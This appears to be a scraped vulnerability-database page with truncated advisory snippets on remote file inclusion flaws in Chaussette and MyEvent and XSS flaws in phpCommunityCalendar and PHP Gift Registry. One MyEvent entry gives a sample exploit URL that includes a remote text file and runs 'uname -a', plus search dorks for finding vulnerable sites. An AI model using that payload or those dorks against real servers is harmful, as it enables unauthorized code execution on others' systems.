Chaussette远程文件包含漏洞

Chaussette是一款基于PHP的WEB应用程序。 Chaussette不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是多个脚本对用户提交的'BASE'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Chaussette http://freshmeat.net/redir/chaussette/64502/urlzip/chaussette.zip...

Chaussette <= 080706 (_BASE) Remote File Include Vulnerabilities

No description provided by source. Chaussette Remote File Inclusion CreW: ToXiC Bug Found By Drago84 Source Code: http://freshmeat.net/redir/chaussette/64502/urlzip/chaussette.zip Page Affect /Classes/Evenement.php /Classes/Event.php /Classes/Eventformonth.php /Classes/Eventformonthperday.php...

Chaussette <= 080706 (_BASE) Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications ================================================================ Chaussette = 080706 BASE Remote File Include Vulnerabilities ================================================================ Chaussette Remote File Inclusion CreW: ToXiC Bug...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in phpCommunityCalendar 4.0.3 allow remote attackers to inject arbitrary web script or HTML via the 1 LoName parameter in a week.php and b month.php and 2 AddressLink parameter in c event.php...

CVE-2006-2798

Multiple cross-site scripting XSS vulnerabilities in phpCommunityCalendar 4.0.3 allow remote attackers to inject arbitrary web script or HTML via the 1 LoName parameter in a week.php and b month.php and 2 AddressLink parameter in c event.php...

CVE-2006-2798: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in phpCommunityCalendar 4.0.3 allow remote attackers to inject arbitrary web script or HTML via the 1 LoName parameter in a week.php and b month.php and 2 AddressLink parameter in c event.php...

CVE-2006-1890: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in myWebland myEvent 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the myeventpath parameter in 1 event.php and 2 initialize.php. NOTE: vector 2 was later reported to affect 1.4 as well...

MyEvent Remote File Execution And XSS Attacking

Website : http://mywebland.com/ Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php" I. Remote Code Execution This is script to very big high it bug being found...

MyEvent 1.3 - event.php Remote File Inclusion

MyEvent 1.3 - event.php Remote File Inclusion Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php"...

MyEvent 1.3 - 'event.php' Remote File Inclusion

Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php" http://www.site.com/path/event.php?myeventpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-17...

MyEvent <= 1.3 (myevent_path) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================= MyEvent = 1.3 myeventpath Remote File Inclusion Vulnerability ================================================================= Script : MyEvent Version : 1.2 Risk : High...

CVE-2004-2484: Undefined Security Weakness

Cross-site scripting XSS vulnerability in PHP Gift Registry 1.3.5 and earlier allows remote attackers to inject arbitrary web script or HTML via the message parameter to 1 event.php or 2 index.php...

CVE-2005-2882

Multiple cross-site scripting XSS vulnerabilities in phpCommunityCalendar 4.0.3, and possibly earlier versions, allow remote attackers to inject arbitrary web script or HTML via the LocationID parameter to 1 thankyou.php or 2 day.php, font parameter to 3 calDaily.php, 4 calMonthly.php, 5...